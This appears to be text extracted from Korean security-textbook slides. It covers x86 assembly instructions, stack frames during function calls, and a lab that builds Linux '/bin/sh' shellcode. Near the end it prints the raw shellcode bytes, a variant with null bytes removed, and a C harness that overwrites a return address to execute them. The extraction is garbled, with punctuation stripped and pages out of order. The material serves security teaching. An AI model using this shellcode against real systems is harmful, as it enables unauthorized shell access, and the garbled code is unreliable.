bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 43: 80×86  시스템에 대한 이해

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

